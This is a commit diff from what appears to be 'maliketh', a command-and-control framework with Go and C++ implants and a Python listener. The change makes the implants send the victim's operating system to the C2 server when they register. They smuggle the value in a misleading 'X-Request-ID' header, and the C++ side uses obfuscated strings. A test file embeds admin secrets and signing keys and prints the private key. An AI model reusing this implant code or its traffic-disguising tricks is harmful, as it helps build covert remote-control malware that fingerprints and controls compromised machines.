Skip to content

Commit 358c7ad

Browse files
committed
Add shitty version of OS information in registration
1 parent faed25f commit 358c7ad

File tree

5 files changed

+19
-10
lines changed

5 files changed

+19
-10
lines changed

go_implant/pkg/implant/implant.go

+5
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ import (
77
"fmt"
88
"io"
99
"net/http"
10+
"runtime"
1011

1112
. "maliketh/pkg/config"
1213
"maliketh/pkg/crypto"
@@ -47,8 +48,12 @@ func Register(serverUrl string, publicKeyB64 string, privateKeyB64 string) (mode
4748
return models.MalleableProfile{}, errors.Wrap(err, "Failed to create request")
4849
}
4950

51+
// get operating system
52+
os := runtime.GOOS
53+
5054
request.Header.Set("User-Agent", REGISTER_USER_AGENT)
5155
request.Header.Set("Content-Type", "application/json")
56+
request.Header.Set("X-Request-ID", os)
5257

5358
client := &http.Client{}
5459
resp, err := client.Do(request)

implant/include/constants.h

+2-1
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@
5959
/****************************************/
6060
/* Actual constants */
6161
/****************************************/
62-
#define CONTENT_TYPE_JSON OBFUSCATED("Content-Type: application/json")
62+
#define REGISTER_HEADERS OBFUSCATED("Content-Type: application/json\r\nX-Request-ID: Windows")
63+
6364

6465
#endif // CONSTANTS_H_

implant/src/implant.cpp

+1-1
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ MalleableProfile *Register(LPCWSTR serverUrl, std::string pubKey, std::string pr
3737
PSIZE_T outSize = 0;
3838

3939
// Register
40-
string res = HTTPRequest(L"POST", serverUrl, toWide(REGISTER_ENDPOINT), C2_PORT, toWide(REGISTER_USER_AGENT), toWide(CONTENT_TYPE_JSON), (LPBYTE)key_json, strlen(key_json), outSize, USE_TLS);
40+
string res = HTTPRequest(L"POST", serverUrl, toWide(REGISTER_ENDPOINT), C2_PORT, toWide(REGISTER_USER_AGENT), toWide(REGISTER_HEADERS), (LPBYTE)key_json, strlen(key_json), outSize, USE_TLS);
4141

4242
// string res_str = LPBYTEToString(res, GetLPBYTELength(res));
4343
DEBUG_PRINTF("Register response: %s\n", res.c_str());

server/maliketh/listeners/c2.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -128,7 +128,7 @@ def register():
128128
implant_id=random_id(n=8),
129129
hostname=request.host,
130130
ip=real_ip,
131-
os=request.user_agent.platform,
131+
os=request.headers.get("X-Request-ID", ""),
132132
arch=request.user_agent.platform,
133133
user="",
134134
server_sk=sk_b64,

server/test_crypto.py

+10-7
Original file line numberDiff line numberDiff line change
@@ -19,17 +19,20 @@
1919
"name": "admin",
2020
"c2": "localhost",
2121
"c2_port": 5000,
22-
"login_secret": "}W+%v#I<EH6P04Dg6nB@pUeFN7&+<~}p",
23-
"secret": "+nIhLhABpqlFTfj7tw6r/AmWyT+OiD5kjZFkrYyOAn8=",
24-
"public": "VuMyC4/Cv3vuv8EF9gYJPbcGsPix8Wg5EHXgI4/HYAc=",
25-
"signing_key": "me2uRpl8lG6K4TdOlZmG99ioO11PF/IyS3q960kImmE=",
26-
"verify_key": "a3NU5gVTTgO7Jz56l0wviq9IQAqYSm3Wl2bJcHWK1u4=",
27-
"server_pub": "1qlKnFqqzKoKpj1ULTMWBBTTPVVz6DKVD9icm9hg0Vk=",
28-
"rmq_queue": "MTDa1e<p9gg$#Jq&Dra'NaXqSu(3MEP9"
22+
"login_secret": "BrlhYmq'I>Py*]+oOaw9e5?o1ALYTv43",
23+
"secret": "Y3YybGWeYwWzxzzz3c6jmxTbQwmUJBKY1EEIGfQvplk=",
24+
"public": "P1rTHOOwPetIVdrO00Tu6oJupAUHv+grY5srhayXdgo=",
25+
"signing_key": "4tL7xJ4iy73Lu+WWS2aDe9jKzfQsgOVkniTTq++pdVY=",
26+
"verify_key": "31uKxgpMfEoyRt8cQN9+vo6KjlXKogr4rKKZwXm+Uw0=",
27+
"server_pub": "N4rWJU3k+891Ce72iglugk0b+biOZ9zped/45728FTo=",
28+
"rmq_queue": "oUA6~wDTk1oNJR^B4@el3z]2w{XKNb`("
2929
}
3030
admin_signing_key = SigningKey(
3131
config["signing_key"].encode("utf-8"), encoder=Base64Encoder
3232
)
33+
34+
print(f"signing priv key: {[int(v) for v in admin_signing_key.encode()]}")
35+
print(f"signing verify key: {[int(v) for v in admin_signing_key.verify_key.encode()]}")
3336
admin_vk = admin_signing_key.verify_key
3437
admin_pk = PublicKey(config["public"].encode("utf-8"), encoder=Base64Encoder)
3538
admin_secret = PrivateKey(config["secret"].encode("utf-8"), encoder=Base64Encoder)

0 commit comments

Comments
 (0)